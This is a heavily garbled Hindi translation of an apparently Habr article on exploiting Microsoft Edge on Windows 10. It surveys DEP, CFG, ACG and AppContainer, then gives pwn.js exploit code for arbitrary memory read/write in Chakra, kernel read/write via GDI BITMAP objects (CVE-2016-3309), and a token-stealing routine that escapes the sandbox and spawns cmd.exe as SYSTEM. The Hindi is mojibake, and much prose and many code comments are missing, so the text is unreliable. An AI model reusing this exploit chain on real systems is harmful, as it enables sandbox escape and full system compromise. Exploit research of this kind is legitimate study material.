рдбреЗрдЯрд╛ рдирд┐рд╖реНрдкрд╛рджрди рд░реЛрдХрдерд╛рдо (рдбреАрдИрдкреА) рд▓рд┐рдирдХреНрд╕, рдореИрдХ рдУрдПрд╕ рдПрдХреНрд╕, рдПрдВрдбреНрд░реЙрдЗрдб рдФрд░ рд╡рд┐рдВрдбреЛрдЬ рдореЗрдВ рдирд┐рд░реНрдорд┐рдд рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рд╕реБрд╡рд┐рдзрд╛ рд╣реИ рдЬреЛ рдХрд┐рд╕реА рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ "рдбреЗрдЯрд╛ рдХреЗрд╡рд▓" рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд┐рд╣реНрдирд┐рдд рдореЗрдореЛрд░реА рдХреНрд╖реЗрддреНрд░ рд╕реЗ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рд╕реЗ рд░реЛрдХрддрд╛ рд╣реИред рдпрд╣ рдХреБрдЫ рд╣рдорд▓реЛрдВ рдХреЛ рд░реЛрдХ рджреЗрдЧрд╛, рдЬреЛ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдмрдлрд░ рдУрд╡рд░рдлреНрд▓реЛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдРрд╕реЗ рдХреНрд╖реЗрддреНрд░ рдореЗрдВ рдХреЛрдб рдХреЛ рдмрдЪрд╛рддреЗ рд╣реИрдВред

рдЗрд╕ рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рдЖрд╕рдкрд╛рд╕ рдПрдХ рддрд░реАрдХрд╛ рд╣реИ VirtualAlloc рд╢реНрд░реГрдВрдЦрд▓рд╛рдУрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ VirtualAlloc рдХреЛ рдХреЙрд▓ VirtualAlloc ред рд▓реЗрдХрд┐рди Edge рдХреЗ рдорд╛рдорд▓реЗ рдореЗрдВ Edge рдпрд╣ рд╡рд┐рдзрд┐ ACG (рдиреАрдЪреЗ рджреЗрдЦреЗрдВ) рдХреЗ рдХрд╛рд░рдг рдХрд╛рдо рдирд╣реАрдВ рдХрд░реЗрдЧреАред


рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рд╡рд╛рд╣ рдЧрд╛рд░реНрдб ( CFG )


CFG рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рддрдВрддреНрд░ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдФрд░ рдХрд░реНрдиреЗрд▓-рдореЛрдб рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдореЗрдВ рджреНрд╡рд┐рдЖрдзрд╛рд░реА рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рджреЛрд╣рди рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдЬрдЯрд┐рд▓ рдмрдирд╛рдирд╛ рд╣реИред рдЗрд╕ рддрдВрддреНрд░ рдХреЗ рдХрд╛рдо рдореЗрдВ рдЕрдкреНрд░рддреНрдпрдХреНрд╖ рдХреЙрд▓ рдХреЛ рдорд╛рдиреНрдп рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИ, рдЬреЛ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрди рдереНрд░реЗрдб рдХреЛ рд░реЛрдХрдиреЗ рд╕реЗ рд░реЛрдХрддрд╛ рд╣реИ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рд╡рд░реНрдЪреБрдЕрд▓ рдлрд╝рдВрдХреНрд╢рди рдХреА рддрд╛рд▓рд┐рдХрд╛ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдХреЗ)

рдпрд╣ рддрдХрдиреАрдХ рдХреЗрд╡рд▓ рдЕрдкреНрд░рддреНрдпрдХреНрд╖ рдХреЙрд▓ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддреА рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдСрдмреНрдЬреЗрдХреНрдЯ рдлрд╝рдВрдХреНрд╢рди рдХреЗ рд╡рд░реНрдЪреБрдЕрд▓ рдЯреЗрдмрд▓ рд╕реЗ рд╡рд┐рдзрд┐ рдХреЙрд▓ред рд╕реНрдЯреИрдХ рдкрд░ рд░рд┐рдЯрд░реНрди рдкрддреЗ рдирд┐рдпрдВрддреНрд░рд┐рдд рдирд╣реАрдВ рд╣реИрдВ, рдФрд░ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ ROP рд╢реНрд░реГрдВрдЦрд▓рд╛ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред ROP/JOP/COP рдЪреЗрди рдХрд╛ рднрд╡рд┐рд╖реНрдп рдореЗрдВ рдЙрдкрдпреЛрдЧ Intel рдирдИ рддрдХрдиреАрдХ рджреНрд╡рд╛рд░рд╛ Control-flow Enforcement Technology рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: Control-flow Enforcement Technology ( CET )ред рдЗрд╕ рддрдХрдиреАрдХ рдореЗрдВ рджреЛ рднрд╛рдЧ рд╣реЛрддреЗ рд╣реИрдВ:


  1. Shadow Stack (рдЫрд╛рдпрд╛ рдвреЗрд░) - рд░рд┐рдЯрд░реНрди рдкрддреЛрдВ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ ROP рд╢реНрд░реГрдВрдЦрд▓рд╛рдУрдВ рд╕реЗ рдмрдЪрд╛рддрд╛ рд╣реИ;
  2. Indirect Branch Tracking JOP/COP рдЪреЗрди рдХреЗ рдЦрд┐рд▓рд╛рдл рд╕реБрд░рдХреНрд╖рд╛ рдХрд╛ рдПрдХ рддрд░реАрдХрд╛ рд╣реИред рдпрд╣ рдПрдХ рдирдпрд╛ ENDBRANCH рдирд┐рд░реНрджреЗрд╢ рд╣реИ, рдЬреЛ call рдФрд░ jmp рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЗ рд▓рд┐рдП рд╕рднреА рд╡реИрдз рд╕рдВрдХреНрд░рдордг рдкрддреЗ jmp рдХрд░рддрд╛ рд╣реИред

рдордирдорд╛рдирд╛ рдХреЛрдб рдЧрд╛рд░реНрдб ( ACG )


ACG рдПрдХ рдРрд╕реА рддрдХрдиреАрдХ рд╣реИ рдЬреЛ рдбрд╛рдпрдиреЗрдорд┐рдХ рдХреЛрдб рдЬреЗрдирд░реЗрд╢рди рдХреЛ рд░реЛрдХрддреА рд╣реИ (рдпрд╣ rwx рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдореЗрдореЛрд░реА рдХреЗ рдХреНрд╖реЗрддреНрд░реЛрдВ рдХреЛ рдЖрд╡рдВрдЯрд┐рдд рдХрд░рдиреЗ рд╕реЗ рдордирд╛ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ) рдФрд░ рдЗрд╕рдХреЗ рд╕рдВрд╢реЛрдзрдиреЛрдВ (рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдХреЗ рд░реВрдк рдореЗрдВ рдореМрдЬреВрджрд╛ рдореЗрдореЛрд░реА рдХреНрд╖реЗрддреНрд░ рдХреЛ VirtaulAlloc рдХрд░рдирд╛ рдЕрд╕рдВрднрд╡ рд╣реИ)

рдпрд╣ рд╕реБрд░рдХреНрд╖рд╛, CFG рддрд░рд╣, ROP рд╢реНрд░реГрдВрдЦрд▓рд╛рдУрдВ рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЛ рдирд╣реАрдВ рд░реЛрдХрддреА рд╣реИред


AppContainer рдЕрд▓рдЧрд╛рд╡


AppContainer рдПрдХ Microsoft рддрдХрдиреАрдХ рд╣реИ рдЬреЛ рдЖрдкрдХреЛ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рдЪрд▓рд╛рдХрд░ рдХрд┐рд╕реА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдЕрд▓рдЧ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред рдпрд╣ рддрдХрдиреАрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕, рдбрд┐рд╡рд╛рдЗрд╕, рдлрд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо, рдиреЗрдЯрд╡рд░реНрдХ, рдЕрдиреНрдп рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдФрд░ рдЦрд┐рдбрд╝рдХрд┐рдпреЛрдВ рддрдХ рдкрд╣реБрдВрдЪ рдХреЛ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд░рддреА рд╣реИ рдФрд░ рдЗрд╕рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдХреА рдХреНрд╖рдорддрд╛ рдХреЛ рдХрдо рдХрд░рдирд╛ рд╣реИ рдЬреЛ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдордирдорд╛рдиреЗ рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рд░рдЦрддрд╛ рд╣реИред

рдпрд╣ рд╕реБрд░рдХреНрд╖рд╛ рдСрдкрд░реЗрд╢рди рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдмрд╣реБрдд рдЬрдЯрд┐рд▓ рдХрд░рддреА рд╣реИред рдЗрд╕рдХреА рд╡рдЬрд╣ рд╕реЗ, рд╣рдо рддреГрддреАрдп-рдкрдХреНрд╖ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓ рдпрд╛ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рдореЗрдореЛрд░реА рдореЗрдВ рдпрд╛ рдбрд┐рд╕реНрдХ рдкрд░ рдирд╣реАрдВ рдХрд╣ рд╕рдХрддреЗ рд╣реИрдВред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпрд╣ рд╕реБрд░рдХреНрд╖рд╛ AppContainer рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдХреЗ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдореЗрдВ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдпрд╛ рдУрдПрд╕ рдХреЗ рдХрд░реНрдиреЗрд▓ рдореЗрдВ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рджреЛрд╣рди рдХрд░рдХреЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЛ рдмрдврд╝рд╛рдХрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред


рдпрд╣ рдзреНрдпрд╛рди рджреЗрдиреЗ рдпреЛрдЧреНрдп рд╣реИ рдХрд┐ Microsoft рдкрд╛рд╕ security mitigation рддрдХрдиреАрдХреЛрдВ рдХреЛ рджрд░рдХрд┐рдирд╛рд░ рдХрд░рдиреЗ рдХреА рддрдХрдиреАрдХреЛрдВ рдХреЗ рд▓рд┐рдП рдПрдХ рдЕрд▓рдЧ рдЗрдирд╛рдо рдХрд╛рд░реНрдпрдХреНрд░рдо рд╣реИред рдХрд╛рд░реНрдпрдХреНрд░рдо рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдХреЛрдб рдХрд╛ рдкреБрди: рдЙрдкрдпреЛрдЧ ( ROP рд╢реНрд░реГрдВрдЦрд▓рд╛ рдХрд╛ рдирд┐рд░реНрдорд╛рдг рдЗрд╕ рддрдХрдиреАрдХ рдХрд╛ рдПрдХ рдкреНрд░рдХрд╛рд░ рд╣реИ) рдХрд╛рд░реНрдпрдХреНрд░рдо рдХреЗ рддрд╣рдд рдирд╣реАрдВ рдЖрддрд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдПрдХ рд╡рд╛рд╕реНрддреБрд╢рд┐рд▓реНрдк рдореБрджреНрджрд╛ рд╣реИред


Pwn.js рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛


рд╕рднреА рд╕реБрд░рдХреНрд╖рд╛ рддрдХрдиреАрдХреЛрдВ рдХреЗ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рд╕реЗ, рдпрд╣ рдирд┐рдореНрдирд╛рдиреБрд╕рд╛рд░ рд╣реИ рдХрд┐ рдордирдорд╛рдиреЗ рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ AppContainer рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдЗрд╕ рд▓реЗрдЦ рдореЗрдВ, рд╣рдо Windows рдХрд░реНрдиреЗрд▓ рдореЗрдВ рднреЗрджреНрдпрддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП рдПрдХ рд╡рд┐рдзрд┐ рдХрд╛ рд╡рд░реНрдгрди рдХрд░рддреЗ рд╣реИрдВред рдЗрд╕ рд╕реНрдерд┐рддрд┐ рдореЗрдВ, рд╣рдо рдХреЗрд╡рд▓ JS рдХреЛрдб рдФрд░ ROP рдЪреЗрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдХреЗрд╡рд▓ ROP рд╢реНрд░реГрдВрдЦрд▓рд╛рдУрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд░реНрдиреЗрд▓ рдХреЗ рд▓рд┐рдП рдПрдХ рд╢реЛрд╖рдг рд▓рд┐рдЦрдирд╛ рдмрд╣реБрдд рдореБрд╢реНрдХрд┐рд▓ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕ рдХрд╛рд░реНрдп рдХреЛ рд╕рд░рд▓ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдк рдЧреИрдЬреЗрдЯ рдХрд╛ рдПрдХ рд╕реЗрдЯ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рд╕рдХреЗ рд╕рд╛рде рд╣рдо рдЖрд╡рд╢реНрдпрдХ WinAPI рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЛ рдХреЙрд▓ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рд╕реМрднрд╛рдЧреНрдп рд╕реЗ, рдпрд╣ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА pwn.js рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдореЗрдВ рд▓рд╛рдЧреВ рд╣реИред рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП, рдХреЗрд╡рд▓ read рдФрд░ write рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рдордирдорд╛рдиреЗ рдврдВрдЧ рд╕реЗ рдкрдврд╝рдиреЗ рдФрд░ рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд░реНрдгрд┐рдд рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рдЖрдк рдЖрд╡рд╢реНрдпрдХ WinAPI рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рдЦреЛрдЬрдиреЗ рдФрд░ рдЙрдиреНрд╣реЗрдВ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ API рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред pwn.js 64-рдмрд┐рдЯ рдорд╛рди рдФрд░ рдкреЙрдЗрдВрдЯрд░реНрд╕ рдФрд░ рдЯреВрд▓ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЯреВрд▓ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдЙрдкрдХрд░рдг рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред


рдПрдХ рд╕рд╛рдзрд╛рд░рдг рдЙрджрд╛рд╣рд░рдг рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВред рдкрд┐рдЫрд▓реЗ рдЪрд░рдг рдореЗрдВ, рд╣рдореЗрдВ рджреЛ рд╕рдВрдмрдВрдзрд┐рдд DataView рдХреА рдПрдХ рд╢реНрд░реГрдВрдЦрд▓рд╛ рдорд┐рд▓реАред рд╢реЛрд╖рдг рддреИрдпрд╛рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рдирд┐рдореНрди рд╡рд░реНрдЧ рдмрдирд╛рдирд╛ рд╣реЛрдЧрд╛:


 var Exploit = (function() { var ChakraExploit = pwnjs.ChakraExploit; var Integer = pwnjs.Integer; function Exploit() { ChakraExploit.call(this); ... //  arbitrary address read/write    ... // DataView,         this.dv = ...; // DataView,     this.dv this.dv_offset = ...; //    Chakra.dll, ,     var vtable = ...; this.initChakra(vtable); } Exploit.prototype = Object.create(ChakraExploit.prototype); Exploit.prototype.constructor = Exploit; Exploit.prototype.set_dv_address = function(lo, hi) { this.dv_offset.setInt32(0x38, lo, true); this.dv_offset.setInt32(0x3c, hi, true); } Exploit.prototype.read = function (address, size) { this.set_dv_address(address.low, address.high); switch (size) { case 8: return new Integer(this.dv.getInt8(0, true), 0, true); case 16: return new Integer(this.dv.getInt16(0, true), 0, true); case 32: return new Integer(this.dv.getInt32(0, true), 0, true); case 64: return new Integer(this.dv.getInt32(0, true), this.dv.getInt32(4, true), true); } } Exploit.prototype.write = function (address, value, size) { this.set_dv_address(address.low, address.high); switch (size) { case 8: this.dv.setInt8(0, value.low, true); break; case 16: this.dv.setInt16(0, value.low, true); break; case 32: this.dv.setInt32(0, value.low, true); break; case 64: this.dv.setInt32(0, value.low, true); this.dv.setInt32(4, value.high, true); break; } } return Exploit; })(); 

, MessageBoxA :


 function run() { with (new Exploit()) { //alert('Chakra: ' + chakraBase.toString(16)); var MessageBoxA = importFunction('user32.dll', 'MessageBoxA', Int32); var GetActiveWindow = importFunction('user32.dll', 'GetActiveWindow', Int64); var hwnd = GetActiveWindow(); var ret = MessageBoxA(hwnd, new CString('PWNED'), new CString('PWNED'), 0); } } 

:


PWNED


3.


WinAPI . . CVE-2016-3309 . [7] [8], pwn.js [2] , GDI -. [9], [10] [11]. . , . , AppContainer , pwn.js . cmd.exe SYSTEM .


GDI тАФ Windows , , .

, . JS - 64- kernel_read_64 kernel_write_64 , . Windows. BITMAP , . pwn.js . BITMAP , , :


 var BITMAP = new StructType([ ['poolHeader', new ArrayType(Uint32, 4)], // BASEOBJECT64 ['hHmgr', Uint64], ['ulShareCount', Uint32], ['cExclusiveLock', Uint16], ['BaseFlags', Uint16], ['Tid', Uint64], ['dhsurf', Uint64], ['hsurf', Uint64], ['dhpdev', Uint64], ['hdev', Uint64], ['sizlBitmap', SIZEL], ['cjBits', Uint32], ['pvBits', Uint64], ['pvScan0', Uint64], ]); 

Tid KTHREAD , , , EmpCheckErrataList , . , :


 ... var nt_EmpCheckErrataList_ptr = worker_bitmap_obj.Tid.add(0x2a8); var nt_EmpCheckErrataList = kernel_read_64(nt_EmpCheckErrataList_ptr); /* g_config   ,         empCheckErrataList  WinDbg        : ? nt!EmpCheckErrataList - nt */ var ntoskrnl_base_address = nt_EmpCheckErrataList.sub( g_config.nt_empCheckErrataList_offset); ... 

, AppContainer . AppContainer IsPackagedProcess ( Process Environment Block , PEB ), . Access Token , AppContainer . Access Token , . Access Token , . EPROCESS ActiveProcessLinks , . PEB EPROCESS . PsInitialSystemProcess , , ActiveProcessLinks .


Edge : , Edge . SYSTEM . , , winlogon.exe .


pwn.js :


 //  PEB   var pinfo = _PROCESS_BASIC_INFORMATION.Ptr.cast(malloc(_PROCESS_BASIC_INFORMATION.size)); var pinfo_sz = Uint64.Ptr.cast(malloc(8)); NtQueryInformationProcess(GetCurrentProcess(), 0, pinfo, _PROCESS_BASIC_INFORMATION.size, pinfo_sz); var peb = pinfo.PebBaseAddress; /*    IsPackagedProcess       peb   char * */ var bit_field = peb[3]; bit_field = bit_field.xor(1 << 4); peb[3] = bit_field; /*             WinDbg    .     : dt ntdll!_EPROCESS uniqueprocessid token activeprocesslinks           */ var ActiveProcessLinks = system_eprocess.add( g_config.ActiveProcessLinksOffset); var current_pid = GetCurrentProcessId(); var current_eprocess = null; var winlogon_pid = null; // winlogon.exe -  ,     cmd.exe var winlogon = new CString("winlogon.exe"); var image_name = malloc(16); var system_pid = kernel_read_64(system_eprocess.add( g_config.UniqueProcessIdOffset)); while(!current_eprocess || !winlogon_pid) { var eprocess = kernel_read_64(ActiveProcessLinks).sub( g_config.ActiveProcessLinksOffset); var pid = kernel_read_64(eprocess.add( g_config.UniqueProcessIdOffset)); //        //   Uint64.store( image_name.address, kernel_read_64(eprocess.add(g_config.ImageNameOffset)) ); Uint64.store( image_name.address.add(8), kernel_read_64(eprocess.add(g_config.ImageNameOffset + 8)) ); //   winlogon.exe    if(_stricmp(winlogon, image_name).eq(0)) { winlogon_pid = pid; } if (current_pid.eq(pid)) { current_eprocess = eprocess; } //        ActiveProcessLinks = eprocess.add( g_config.ActiveProcessLinksOffset); } //     var sys_token = kernel_read_64(system_eprocess.add(g_config.TokenOffset)); //          //   winlogon.exe var pi = malloc(24); memset(pi, 0, 24); var si = malloc(104 + 8); memset(si, 0, 104 + 8); Uint32.store(si.address, new Integer(104 + 8)); var args = WString("cmd.exe"); var AttributeListSize = Uint64.Ptr.cast(malloc(8)); InitializeProcThreadAttributeList(0, 1, 0, AttributeListSize); var lpAttributeList = malloc(AttributeListSize[0]); Uint64.store( si.address.add(104), lpAttributeList ); InitializeProcThreadAttributeList(lpAttributeList, 1, 0, AttributeListSize) var winlogon_handle = Uint64.Ptr.cast(malloc(8)); //       kernel_write_64(current_eprocess.add(g_config.TokenOffset), sys_token); /*        AppContainer,       winlogon.exe         winlogon.exe */ winlogon_handle[0] = OpenProcess(PROCESS_ALL_ACCESS, 0, winlogon_pid); UpdateProcThreadAttribute(lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, winlogon_handle, 8, 0, 0); CreateProcess(0, args, 0, 0, 0, EXTENDED_STARTUPINFO_PRESENT, 0, 0, si, pi); 

:


Final


YouTube , Microsoft Edge.


рдкрд░рд┐рдгрд╛рдо


:


  • , Edge Windows , 13 , CVE-2017-0240 , . CVE-2016-3309 .
  • JS
  • 666 JS
  • : cmd.exe SYSTEM ,

, , . , , . .



  1. Liu Jin тАФ The Advanced Exploitation of 64-bit Edge Browser Use-After-Free Vulnerability on Windows 10
  2. Andrew Wesie, Brian Pak тАФ 1-Day Browser & Kernel
    Exploitation
  3. Natalie Silvanovich тАФ The ECMA and the Chakra. Hunting bugs in the Microsoft Edge Script Engine
  4. Natalie Silvanovich тАФ Your Chakra Is Not Aligned. Hunting bugs in the Microsoft Edge Script Engine
  5. phoenhex team тАФ cve-2018-8629-chakra.js
  6. Quarkslab тАФ Exploiting MS16-145: MS Edge TypedArray.sort Use-After-Free (CVE-2016-7288)
  7. Exploiting MS16-098 RGNOBJ Integer Overflow on Windows 8.1 x64 bit by abusing GDI objects
  8. Siberas тАФ Kernel Exploitation Case Study тАФ "Wild" Pool Overflow on Win10 x64 RS2 (CVE-2016-3309 Reloaded)
  9. Saif El-Sherei тАФ Demystifying Windows Kernel Exploitation by Abusing GDI Objects
  10. Diego Juarez тАФ Abusing GDI for ring0 exploit primitives
  11. Nicolas A. Economou тАФ Abusing GDI for ring0 exploit
    primitives: Evolution
  12. pwn.js

Source: https://habr.com/ru/post/hi455594/


All Articles